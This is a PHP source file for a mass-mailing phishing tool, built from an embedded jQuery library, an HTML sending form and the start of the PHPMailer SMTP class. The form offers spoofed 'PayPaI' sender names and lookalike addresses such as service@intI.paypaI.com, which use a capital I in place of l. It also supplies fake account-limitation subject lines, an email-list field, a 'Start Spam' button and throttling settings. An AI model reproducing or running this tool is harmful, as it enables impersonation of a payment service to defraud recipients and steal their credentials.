5892 jqXHR.setRequestHeader("Accept", s.dataTypes[0] && s.accepts[s.dataTypes[0]] ? s.accepts[s.dataTypes[0]] + (s.dataTypes[0] !== "*" ? ", " + allTypes + "; q=0.01" : "") : s.accepts["*"]);
5893 for (i in s.headers) {
5894 jqXHR.setRequestHeader(i, s.headers[i])
5895 }
5896 if (s.beforeSend && (s.beforeSend.call(callbackContext, jqXHR, s) === false || state === 2)) {
5897 return jqXHR.abort()
5898 }
5899 strAbort = "abort";
5900 for (i in {
5901 success: 1,
5902 error: 1,
5903 complete: 1
5904 }) {
5905 jqXHR[i](s[i])
5906 }
5907 transport = inspectPrefiltersOrTransports(transports, s, options, jqXHR);
5908 if (!transport) {
5909 done(-1, "No Transport")
5910 } else {
5911 jqXHR.readyState = 1;
5912 if (fireGlobals) {
5913 globalEventContext.trigger("ajaxSend", [jqXHR, s])
5914 }
5915 if (s.async && s.timeout > 0) {
5916 timeoutTimer = setTimeout(function() {
5917 jqXHR.abort("timeout")
5918 }, s.timeout)
5919 }
5920 try {
5921 state = 1;
5922 transport.send(requestHeaders, done)
5923 } catch (e) {
5924 if (state < 2) {
5925 done(-1, e)
5926 } else {
5927 throw e;
5928 }
5929 }
5930 }
5931
5932 function done(status, nativeStatusText, responses, headers) {
5933 var isSuccess, success, error, response, modified, statusText = nativeStatusText;
5934 if (state === 2) {
5935 return
5936 }
5937 state = 2;
5938 if (timeoutTimer) {
5939 clearTimeout(timeoutTimer)
5940 }
5941 transport = undefined;
5942 responseHeadersString = headers || "";
5943 jqXHR.readyState = status > 0 ? 4 : 0;
5944 isSuccess = status >= 200 && status < 300 || status === 304;
5945 if (responses) {
5946 response = ajaxHandleResponses(s, jqXHR, responses)
5947 }
5948 response = ajaxConvert(s, response, jqXHR, isSuccess);
5949 if (isSuccess) {
5950 if (s.ifModified) {
5951 modified = jqXHR.getResponseHeader("Last-Modified");
5952 if (modified) {
5953 jQuery.lastModified[cacheURL] = modified
5954 }
5955 modified = jqXHR.getResponseHeader("etag");
5956 if (modified) {
5957 jQuery.etag[cacheURL] = modified
5958 }
5959 }
5960 if (status === 204 || s.type === "HEAD") {
5961 statusText = "nocontent"
5962 } else if (status === 304) {
5963 statusText = "notmodified"
5964 } else {
5965 statusText = response.state;
5966 success = response.data;
5967 error = response.error;
5968 isSuccess = !error
5969 }
5970 } else {
5971 error = statusText;
5972 if (status || !statusText) {
5973 statusText = "error";
5974 if (status < 0) {
5975 status = 0
5976 }
5977 }
5978 }
5979 jqXHR.status = status;
5980 jqXHR.statusText = (nativeStatusText || statusText) + "";
5981 if (isSuccess) {
5982 deferred.resolveWith(callbackContext, [success, statusText, jqXHR])
5983 } else {
5984 deferred.rejectWith(callbackContext, [jqXHR, statusText, error])
5985 }
5986 jqXHR.statusCode(statusCode);
5987 statusCode = undefined;
5988 if (fireGlobals) {
5989 globalEventContext.trigger(isSuccess ? "ajaxSuccess" : "ajaxError", [jqXHR, s, isSuccess ? success : error])
5990 }
5991 completeDeferred.fireWith(callbackContext, [jqXHR, statusText]);
5992 if (fireGlobals) {
5993 globalEventContext.trigger("ajaxComplete", [jqXHR, s]);
5994 if (!(--jQuery.active)) {
5995 jQuery.event.trigger("ajaxStop")
5996 }
5997 }
5998 }
5999 return jqXHR
6000 },
6001 getJSON: function(url, data, callback) {
6002 return jQuery.get(url, data, callback, "json")
6003 },
6004 getScript: function(url, callback) {
6005 return jQuery.get(url, undefined, callback, "script")
6006 }
6007 });
6008 jQuery.each(["get", "post"], function(i, method) {
6009 jQuery[method] = function(url, data, callback, type) {
6010 if (jQuery.isFunction(data)) {
6011 type = type || callback;
6012 callback = data;
6013 data = undefined
6014 }
6015 return jQuery.ajax({
6016 url: url,
6017 type: method,
6018 dataType: type,
6019 data: data,
6020 success: callback
6021 })
6022 }
6023 });
6024 jQuery._evalUrl = function(url) {
6025 return jQuery.ajax({
6026 url: url,
6027 type: "GET",
6028 dataType: "script",
6029 async: false,
6030 global: false,
6031 "throws": true
6032 })
6033 };
6034 jQuery.fn.extend({
6035 wrapAll: function(html) {
6036 if (jQuery.isFunction(html)) {
6037 return this.each(function(i) {
6038 jQuery(this).wrapAll(html.call(this, i))
6039 })
6040 }
6041 if (this[0]) {
6042 var wrap = jQuery(html, this[0].ownerDocument).eq(0).clone(true);
6043 if (this[0].parentNode) {
6044 wrap.insertBefore(this[0])
6045 }
6046 wrap.map(function() {
6047 var elem = this;
6048 while (elem.firstChild && elem.firstChild.nodeType === 1) {
6049 elem = elem.firstChild
6050 }
6051 return elem
6052 }).append(this)
6053 }
6054 return this
6055 },
6056 wrapInner: function(html) {
6057 if (jQuery.isFunction(html)) {
6058 return this.each(function(i) {
6059 jQuery(this).wrapInner(html.call(this, i))
6060 })
6061 }
6062 return this.each(function() {
6063 var self = jQuery(this),
6064 contents = self.contents();
6065 if (contents.length) {
6066 contents.wrapAll(html)
6067 } else {
6068 self.append(html)
6069 }
6070 })
6071 },
6072 wrap: function(html) {
6073 var isFunction = jQuery.isFunction(html);
6074 return this.each(function(i) {
6075 jQuery(this).wrapAll(isFunction ? html.call(this, i) : html)
6076 })
6077 },
6078 unwrap: function() {
6079 return this.parent().each(function() {
6080 if (!jQuery.nodeName(this, "body")) {
6081 jQuery(this).replaceWith(this.childNodes)
6082 }
6083 }).end()
6084 }
6085 });
6086 jQuery.expr.filters.hidden = function(elem) {
6087 return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 || (!support.reliableHiddenOffsets() && ((elem.style && elem.style.display) || jQuery.css(elem, "display")) === "none")
6088 };
6089 jQuery.expr.filters.visible = function(elem) {
6090 return !jQuery.expr.filters.hidden(elem)
6091 };
6092 var r20 = /%20/g,
6093 rbracket = /\[\]$/,
6094 rCRLF = /\r?\n/g,
6095 rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
6096 rsubmittable = /^(?:input|select|textarea|keygen)/i;
6097
6098 function buildParams(prefix, obj, traditional, add) {
6099 var name;
6100 if (jQuery.isArray(obj)) {
6101 jQuery.each(obj, function(i, v) {
6102 if (traditional || rbracket.test(prefix)) {
6103 add(prefix, v)
6104 } else {
6105 buildParams(prefix + "[" + (typeof v === "object" ? i : "") + "]", v, traditional, add)
6106 }
6107 })
6108 } else if (!traditional && jQuery.type(obj) === "object") {
6109 for (name in obj) {
6110 buildParams(prefix + "[" + name + "]", obj[name], traditional, add)
6111 }
6112 } else {
6113 add(prefix, obj)
6114 }
6115 }
6116 jQuery.param = function(a, traditional) {
6117 var prefix, s = [],
6118 add = function(key, value) {
6119 value = jQuery.isFunction(value) ? value() : (value == null ? "" : value);
6120 s[s.length] = encodeURIComponent(key) + "=" + encodeURIComponent(value)
6121 };
6122 if (traditional === undefined) {
6123 traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional
6124 }
6125 if (jQuery.isArray(a) || (a.jquery && !jQuery.isPlainObject(a))) {
6126 jQuery.each(a, function() {
6127 add(this.name, this.value)
6128 })
6129 } else {
6130 for (prefix in a) {
6131 buildParams(prefix, a[prefix], traditional, add)
6132 }
6133 }
6134 return s.join("&").replace(r20, "+")
6135 };
6136 jQuery.fn.extend({
6137 serialize: function() {
6138 return jQuery.param(this.serializeArray())
6139 },
6140 serializeArray: function() {
6141 return this.map(function() {
6142 var elements = jQuery.prop(this, "elements");
6143 return elements ? jQuery.makeArray(elements) : this
6144 }).filter(function() {
6145 var type = this.type;
6146 return this.name && !jQuery(this).is(":disabled") && rsubmittable.test(this.nodeName) && !rsubmitterTypes.test(type) && (this.checked || !rcheckableType.test(type))
6147 }).map(function(i, elem) {
6148 var val = jQuery(this).val();
6149 return val == null ? null : jQuery.isArray(val) ? jQuery.map(val, function(val) {
6150 return {
6151 name: elem.name,
6152 value: val.replace(rCRLF, "\r\n")
6153 }
6154 }) : {
6155 name: elem.name,
6156 value: val.replace(rCRLF, "\r\n")
6157 }
6158 }).get()
6159 }
6160 });
6161 jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ? function() {
6162 return !this.isLocal && /^(get|post|head|put|delete|options)$/i.test(this.type) && createStandardXHR() || createActiveXHR()
6163 } : createStandardXHR;
6164 var xhrId = 0,
6165 xhrCallbacks = {},
6166 xhrSupported = jQuery.ajaxSettings.xhr();
6167 if (window.attachEvent) {
6168 window.attachEvent("onunload", function() {
6169 for (var key in xhrCallbacks) {
6170 xhrCallbacks[key](undefined, true)
6171 }
6172 })
6173 }
6174 support.cors = !!xhrSupported && ("withCredentials" in xhrSupported);
6175 xhrSupported = support.ajax = !!xhrSupported;
6176 if (xhrSupported) {
6177 jQuery.ajaxTransport(function(options) {
6178 if (!options.crossDomain || support.cors) {
6179 var callback;
6180 return {
6181 send: function(headers, complete) {
6182 var i, xhr = options.xhr(),
6183 id = ++xhrId;
6184 xhr.open(options.type, options.url, options.async, options.username, options.password);
6185 if (options.xhrFields) {
6186 for (i in options.xhrFields) {
6187 xhr[i] = options.xhrFields[i]
6188 }
6189 }
6190 if (options.mimeType && xhr.overrideMimeType) {
6191 xhr.overrideMimeType(options.mimeType)
6192 }
6193 if (!options.crossDomain && !headers["X-Requested-With"]) {
6194 headers["X-Requested-With"] = "XMLHttpRequest"
6195 }
6196 for (i in headers) {
6197 if (headers[i] !== undefined) {
6198 xhr.setRequestHeader(i, headers[i] + "")
6199 }
6200 }
6201 xhr.send((options.hasContent && options.data) || null);
6202 callback = function(_, isAbort) {
6203 var status, statusText, responses;
6204 if (callback && (isAbort || xhr.readyState === 4)) {
6205 delete xhrCallbacks[id];
6206 callback = undefined;
6207 xhr.onreadystatechange = jQuery.noop;
6208 if (isAbort) {
6209 if (xhr.readyState !== 4) {
6210 xhr.abort()
6211 }
6212 } else {
6213 responses = {};
6214 status = xhr.status;
6215 if (typeof xhr.responseText === "string") {
6216 responses.text = xhr.responseText
6217 }
6218 try {
6219 statusText = xhr.statusText
6220 } catch (e) {
6221 statusText = ""
6222 }
6223 if (!status && options.isLocal && !options.crossDomain) {
6224 status = responses.text ? 200 : 404
6225 } else if (status === 1223) {
6226 status = 204
6227 }
6228 }
6229 }
6230 if (responses) {
6231 complete(status, statusText, responses, xhr.getAllResponseHeaders())
6232 }
6233 };
6234 if (!options.async) {
6235 callback()
6236 } else if (xhr.readyState === 4) {
6237 setTimeout(callback)
6238 } else {
6239 xhr.onreadystatechange = xhrCallbacks[id] = callback
6240 }
6241 },
6242 abort: function() {
6243 if (callback) {
6244 callback(undefined, true)
6245 }
6246 }
6247 }
6248 }
6249 })
6250 }
6251 function createStandardXHR() {
6252 try {
6253 return new window.XMLHttpRequest()
6254 } catch (e) {}
6255 }
6256
6257 function createActiveXHR() {
6258 try {
6259 return new window.ActiveXObject("Microsoft.XMLHTTP")
6260 } catch (e) {}
6261 }
6262 jQuery.ajaxSetup({
6263 accepts: {
6264 script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
6265 },
6266 contents: {
6267 script: /(?:java|ecma)script/
6268 },
6269 converters: {
6270 "text script": function(text) {
6271 jQuery.globalEval(text);
6272 return text
6273 }
6274 }
6275 });
6276 jQuery.ajaxPrefilter("script", function(s) {
6277 if (s.cache === undefined) {
6278 s.cache = false
6279 }
6280 if (s.crossDomain) {
6281 s.type = "GET";
6282 s.global = false
6283 }
6284 });
6285 jQuery.ajaxTransport("script", function(s) {
6286 if (s.crossDomain) {
6287 var script, head = document.head || jQuery("head")[0] || document.documentElement;
6288 return {
6289 send: function(_, callback) {
6290 script = document.createElement("script");
6291 script.async = true;
6292 if (s.scriptCharset) {
6293 script.charset = s.scriptCharset
6294 }
6295 script.src = s.url;
6296 script.onload = script.onreadystatechange = function(_, isAbort) {
6297 if (isAbort || !script.readyState || /loaded|complete/.test(script.readyState)) {
6298 script.onload = script.onreadystatechange = null;
6299 if (script.parentNode) {
6300 script.parentNode.removeChild(script)
6301 }
6302 script = null;
6303 if (!isAbort) {
6304 callback(200, "success")
6305 }
6306 }
6307 };
6308 head.insertBefore(script, head.firstChild)
6309 },
6310 abort: function() {
6311 if (script) {
6312 script.onload(undefined, true)
6313 }
6314 }
6315 }
6316 }
6317 });
6318 var oldCallbacks = [],
6319 rjsonp = /(=)\?(?=&|$)|\?\?/;
6320 jQuery.ajaxSetup({
6321 jsonp: "callback",
6322 jsonpCallback: function() {
6323 var callback = oldCallbacks.pop() || (jQuery.expando + "_" + (nonce++));
6324 this[callback] = true;
6325 return callback
6326 }
6327 });
6328 jQuery.ajaxPrefilter("json jsonp", function(s, originalSettings, jqXHR) {
6329 var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && (rjsonp.test(s.url) ? "url" : typeof s.data === "string" && !(s.contentType || "").indexOf("application/x-www-form-urlencoded") && rjsonp.test(s.data) && "data");
6330 if (jsonProp || s.dataTypes[0] === "jsonp") {
6331 callbackName = s.jsonpCallback = jQuery.isFunction(s.jsonpCallback) ? s.jsonpCallback() : s.jsonpCallback;
6332 if (jsonProp) {
6333 s[jsonProp] = s[jsonProp].replace(rjsonp, "$1" + callbackName)
6334 } else if (s.jsonp !== false) {
6335 s.url += (rquery.test(s.url) ? "&" : "?") + s.jsonp + "=" + callbackName
6336 }
6337 s.converters["script json"] = function() {
6338 if (!responseContainer) {
6339 jQuery.error(callbackName + " was not called")
6340 }
6341 return responseContainer[0]
6342 };
6343 s.dataTypes[0] = "json";
6344 overwritten = window[callbackName];
6345 window[callbackName] = function() {
6346 responseContainer = arguments
6347 };
6348 jqXHR.always(function() {
6349 window[callbackName] = overwritten;
6350 if (s[callbackName]) {
6351 s.jsonpCallback = originalSettings.jsonpCallback;
6352 oldCallbacks.push(callbackName)
6353 }
6354 if (responseContainer && jQuery.isFunction(overwritten)) {
6355 overwritten(responseContainer[0])
6356 }
6357 responseContainer = overwritten = undefined
6358 });
6359 return "script"
6360 }
6361 });
6362 jQuery.parseHTML = function(data, context, keepScripts) {
6363 if (!data || typeof data !== "string") {
6364 return null
6365 }
6366 if (typeof context === "boolean") {
6367 keepScripts = context;
6368 context = false
6369 }
6370 context = context || document;
6371 var parsed = rsingleTag.exec(data),
6372 scripts = !keepScripts && [];
6373 if (parsed) {
6374 return [context.createElement(parsed[1])]
6375 }
6376 parsed = jQuery.buildFragment([data], context, scripts);
6377 if (scripts && scripts.length) {
6378 jQuery(scripts).remove()
6379 }
6380 return jQuery.merge([], parsed.childNodes)
6381 };
6382 var _load = jQuery.fn.load;
6383 jQuery.fn.load = function(url, params, callback) {
6384 if (typeof url !== "string" && _load) {
6385 return _load.apply(this, arguments)
6386 }
6387 var selector, response, type, self = this,
6388 off = url.indexOf(" ");
6389 if (off >= 0) {
6390 selector = jQuery.trim(url.slice(off, url.length));
6391 url = url.slice(0, off)
6392 }
6393 if (jQuery.isFunction(params)) {
6394 callback = params;
6395 params = undefined
6396 } else if (params && typeof params === "object") {
6397 type = "POST"
6398 }
6399 if (self.length > 0) {
6400 jQuery.ajax({
6401 url: url,
6402 type: type,
6403 dataType: "html",
6404 data: params
6405 }).done(function(responseText) {
6406 response = arguments;
6407 self.html(selector ? jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector) : responseText)
6408 }).complete(callback && function(jqXHR, status) {
6409 self.each(callback, response || [jqXHR.responseText, status, jqXHR])
6410 })
6411 }
6412 return this
6413 };
6414 jQuery.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(i, type) {
6415 jQuery.fn[type] = function(fn) {
6416 return this.on(type, fn)
6417 }
6418 });
6419 jQuery.expr.filters.animated = function(elem) {
6420 return jQuery.grep(jQuery.timers, function(fn) {
6421 return elem === fn.elem
6422 }).length
6423 };
6424 var docElem = window.document.documentElement;
6425
6426 function getWindow(elem) {
6427 return jQuery.isWindow(elem) ? elem : elem.nodeType === 9 ? elem.defaultView || elem.parentWindow : false
6428 }
6429 jQuery.offset = {
6430 setOffset: function(elem, options, i) {
6431 var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css(elem, "position"),
6432 curElem = jQuery(elem),
6433 props = {};
6434 if (position === "static") {
6435 elem.style.position = "relative"
6436 }
6437 curOffset = curElem.offset();
6438 curCSSTop = jQuery.css(elem, "top");
6439 curCSSLeft = jQuery.css(elem, "left");
6440 calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1;
6441 if (calculatePosition) {
6442 curPosition = curElem.position();
6443 curTop = curPosition.top;
6444 curLeft = curPosition.left
6445 } else {
6446 curTop = parseFloat(curCSSTop) || 0;
6447 curLeft = parseFloat(curCSSLeft) || 0
6448 }
6449 if (jQuery.isFunction(options)) {
6450 options = options.call(elem, i, curOffset)
6451 }
6452 if (options.top != null) {
6453 props.top = (options.top - curOffset.top) + curTop
6454 }
6455 if (options.left != null) {
6456 props.left = (options.left - curOffset.left) + curLeft
6457 }
6458 if ("using" in options) {
6459 options.using.call(elem, props)
6460 } else {
6461 curElem.css(props)
6462 }
6463 }
6464 };
6465 jQuery.fn.extend({
6466 offset: function(options) {
6467 if (arguments.length) {
6468 return options === undefined ? this : this.each(function(i) {
6469 jQuery.offset.setOffset(this, options, i)
6470 })
6471 }
6472 var docElem, win, box = {
6473 top: 0,
6474 left: 0
6475 },
6476 elem = this[0],
6477 doc = elem && elem.ownerDocument;
6478 if (!doc) {
6479 return
6480 }
6481 docElem = doc.documentElement;
6482 if (!jQuery.contains(docElem, elem)) {
6483 return box
6484 }
6485 if (typeof elem.getBoundingClientRect !== strundefined) {
6486 box = elem.getBoundingClientRect()
6487 }
6488 win = getWindow(doc);
6489 return {
6490 top: box.top + (win.pageYOffset || docElem.scrollTop) - (docElem.clientTop || 0),
6491 left: box.left + (win.pageXOffset || docElem.scrollLeft) - (docElem.clientLeft || 0)
6492 }
6493 },
6494 position: function() {
6495 if (!this[0]) {
6496 return
6497 }
6498 var offsetParent, offset, parentOffset = {
6499 top: 0,
6500 left: 0
6501 },
6502 elem = this[0];
6503 if (jQuery.css(elem, "position") === "fixed") {
6504 offset = elem.getBoundingClientRect()
6505 } else {
6506 offsetParent = this.offsetParent();
6507 offset = this.offset();
6508 if (!jQuery.nodeName(offsetParent[0], "html")) {
6509 parentOffset = offsetParent.offset()
6510 }
6511 parentOffset.top += jQuery.css(offsetParent[0], "borderTopWidth", true);
6512 parentOffset.left += jQuery.css(offsetParent[0], "borderLeftWidth", true)
6513 }
6514 return {
6515 top: offset.top - parentOffset.top - jQuery.css(elem, "marginTop", true),
6516 left: offset.left - parentOffset.left - jQuery.css(elem, "marginLeft", true)
6517 }
6518 },
6519 offsetParent: function() {
6520 return this.map(function() {
6521 var offsetParent = this.offsetParent || docElem;
6522 while (offsetParent && (!jQuery.nodeName(offsetParent, "html") && jQuery.css(offsetParent, "position") === "static")) {
6523 offsetParent = offsetParent.offsetParent
6524 }
6525 return offsetParent || docElem
6526 })
6527 }
6528 });
6529 jQuery.each({
6530 scrollLeft: "pageXOffset",
6531 scrollTop: "pageYOffset"
6532 }, function(method, prop) {
6533 var top = /Y/.test(prop);
6534 jQuery.fn[method] = function(val) {
6535 return access(this, function(elem, method, val) {
6536 var win = getWindow(elem);
6537 if (val === undefined) {
6538 return win ? (prop in win) ? win[prop] : win.document.documentElement[method] : elem[method]
6539 }
6540 if (win) {
6541 win.scrollTo(!top ? val : jQuery(win).scrollLeft(), top ? val : jQuery(win).scrollTop())
6542 } else {
6543 elem[method] = val
6544 }
6545 }, method, val, arguments.length, null)
6546 }
6547 });
6548 jQuery.each(["top", "left"], function(i, prop) {
6549 jQuery.cssHooks[prop] = addGetHookIf(support.pixelPosition, function(elem, computed) {
6550 if (computed) {
6551 computed = curCSS(elem, prop);
6552 return rnumnonpx.test(computed) ? jQuery(elem).position()[prop] + "px" : computed
6553 }
6554 })
6555 });
6556 jQuery.each({
6557 Height: "height",
6558 Width: "width"
6559 }, function(name, type) {
6560 jQuery.each({
6561 padding: "inner" + name,
6562 content: type,
6563 "": "outer" + name
6564 }, function(defaultExtra, funcName) {
6565 jQuery.fn[funcName] = function(margin, value) {
6566 var chainable = arguments.length && (defaultExtra || typeof margin !== "boolean"),
6567 extra = defaultExtra || (margin === true || value === true ? "margin" : "border");
6568 return access(this, function(elem, type, value) {
6569 var doc;
6570 if (jQuery.isWindow(elem)) {
6571 return elem.document.documentElement["client" + name]
6572 }
6573 if (elem.nodeType === 9) {
6574 doc = elem.documentElement;
6575 return Math.max(elem.body["scroll" + name], doc["scroll" + name], elem.body["offset" + name], doc["offset" + name], doc["client" + name])
6576 }
6577 return value === undefined ? jQuery.css(elem, type, extra) : jQuery.style(elem, type, value, extra)
6578 }, type, chainable ? margin : undefined, chainable, null)
6579 }
6580 })
6581 });
6582 jQuery.fn.size = function() {
6583 return this.length
6584 };
6585 jQuery.fn.andSelf = jQuery.fn.addBack;
6586 if (typeof define === "function" && define.amd) {
6587 define("jquery", [], function() {
6588 return jQuery
6589 })
6590 }
6591 var _jQuery = window.jQuery,
6592 _$ = window.$;
6593 jQuery.noConflict = function(deep) {
6594 if (window.$ === jQuery) {
6595 window.$ = _$
6596 }
6597 if (deep && window.jQuery === jQuery) {
6598 window.jQuery = _jQuery
6599 }
6600 return jQuery
6601 };
6602 if (typeof noGlobal === strundefined) {
6603 window.jQuery = window.$ = jQuery
6604 }
6605 return jQuery
6606 }));
6607 </script>
6608 </div>
6609 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6610 <div style="margin-bottom: 10px" class="input-group">
6611 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
6612 <select class="form-control" name="type">
6613 <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
6614 <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
6615 </select>
6616 </div>
6617 <div style="margin-bottom: 10px" class="input-group">
6618 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6619 <select class="form-control" onChange="Pilih4(this);">
6620 <option value="">No X-Mailer</option>
6621 <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
6622 <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
6623 <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
6624 <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
6625 </select>
6626 <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?php echo $xmailer;?>" placeholder="X-Mailer">
6627 </div>
6628 </div>
6629 </div>
6630
6631 <div class="col-sm-8" style="padding-right: 7.5px !important;">
6632
6633 <div style="margin-bottom: 10px" class="input-group">
6634 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
6635 <select class="form-control" onChange="Pilih1(this);">
6636 <option value="">Select Sender Name</option>
6637 <option value="PayPaI">PayPaI</option>
6638 <option value="PaypaI Service">PaypaI Service</option>
6639 <option value="PaypaI Support">PaypaI Support</option>
6640 <option value="Account Service">Account Service</option>
6641 <option value="Account Support">Account Support</option>
6642 <option value="Service">Service</option>
6643 </select>
6644 <input id="sender-name" type="text" class="form-control" name="nama" value="<?php echo $nama;?>" placeholder="Sender Name">
6645 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6646 <select class="form-control kanan" onChange="Pilih2(this);">
6647 <option value="">Select Sender Email</option>
6648 <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
6649 <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
6650 <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
6651 <option value="no-reply">no-reply</option>
6652 <option value="admin">admin</option>
6653 <option value="service">service</option>
6654 <option value="same as target">same as target</option>
6655
6656 </select>
6657 <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?php echo $email;?>" placeholder="Sender Email">
6658 </div>
6659
6660 <div style="margin-bottom: 10px" class="input-group">
6661 <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
6662 <select class="form-control kanan" onChange="Pilih3(this);">ge
6663 <option value="">Select Email Subject</option>
6664 <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
6665 <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
6666 <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
6667 <option value="Account Notification">Account Notification</option>
6668 <option value="Attention: Your account status change">Attention: Your account status change</option>
6669
6670 </select>
6671 <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?php echo $subject;?>" placeholder="Subject">
6672 </div>
6673
6674 <div style="margin-bottom: 5px" class="input-group">
6675 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
6676 <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
6677 <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
6678 <select class="form-control" name="encode">
6679 <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
6680 <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
6681 <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
6682 <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
6683 <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
6684 <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
6685 </select>
6686 </div>
6687 <div style="margin-bottom: 10px" class="input-group">
6688 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
6689 <textarea id="myTextarea" class="form-control" rows="10" name="pesan" placeholder="Message"><?php echo $pesan;?></textarea>
6690 </div>
6691 <div style="margin-bottom: 10px" class="input-group">
6692 <input type="submit" class="btn btn-success" name="action" value="Start Spam">
6693 <font color="white">Next send after </font>
6694 <input type="text" name="wait" value="<?php echo $wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6695 <font color="white">(second) | Reconnect After
6696 <input type="text" name="reconnect" value="<?php echo $reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6697 <font color="white">(emails)</font>
6698 </div>
6699
6700 </div>
6701 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6702
6703 <div style="margin-bottom: 10px" class="input-group">
6704 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
6705 <select class="form-control" name="encoding">
6706 <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
6707 <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
6708 </select>
6709 </div>
6710 <div style="margin-bottom: 10px" class="input-group">
6711 <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
6712 <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?php echo $emaillist;?></textarea>
6713 </div>
6714
6715 </div>
6716 <div class="form-group">
6717 </div>
6718
6719 </form>
6720
6721 </div>
6722 </div>
6723<?php
6724
6725if ($action){
6726
6727 if (!$from && !$subject && !$message && !$emaillist) {
6728 print "<script>alert('Please complete all fields before sending your message.'); </script>";
6729 die();
6730 }
6731
6732 if ($_POST['encoding']=='yes') {
6733 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
6734 $subject = str_replace(' ', '=20', $subject);
6735 $subject = "=?utf-8?Q?$subject?=";
6736 $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
6737 $nama = str_replace(' ', '=20', $nama);
6738 $nama = "=?utf-8?Q?$nama?=";
6739 }
6740
6741 $allemails = split("\n", $emaillist);
6742 $numemails = count($allemails);
6743
6744
6745 function xflush()
6746 {
6747 static $output_handler = null;
6748 if ($output_handler === null) {
6749 $output_handler = @ini_get('output_handler');
6750 }
6751 if ($output_handler == 'ob_gzhandler') {
6752 return;
6753 }
6754 flush();
6755 if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
6756 @ob_flush();
6757 } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
6758 @ob_end_flush();
6759 @ob_start();
6760 }
6761 }
6762?>
6763<?php
6764/**
6765 * PHPMailer RFC821 SMTP email transport class.
6766 * PHP Version 5
6767 * @package PHPMailer
6768 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
6769 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
6770 * @author Jim Jagielski (jimjag) <>
6771 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
6772 * @author Brent R. Matzelle (original founder)
6773 * @copyright 2014 Marcus Bointon
6774 * @copyright 2010 - 2012 Jim Jagielski
6775 * @copyright 2004 - 2009 Andy Prevost
6776 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
6777 * @note This program is distributed in the hope that it will be useful - WITHOUT
6778 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
6779 * FITNESS FOR A PARTICULAR PURPOSE.
6780 */
6781
6782/**
6783 * PHPMailer RFC821 SMTP email transport class.
6784 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
6785 * @package PHPMailer
6786 * @author Chris Ryan
6787 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
6788 */
6789class SMTP
6790{
6791 /**
6792 * The PHPMailer SMTP version number.
6793 * @type string
6794 */
6795 const VERSION = '5.2.9';
6796
6797 /**
6798 * SMTP line break constant.
6799 * @type string
6800 */
6801 const CRLF = "\r\n";
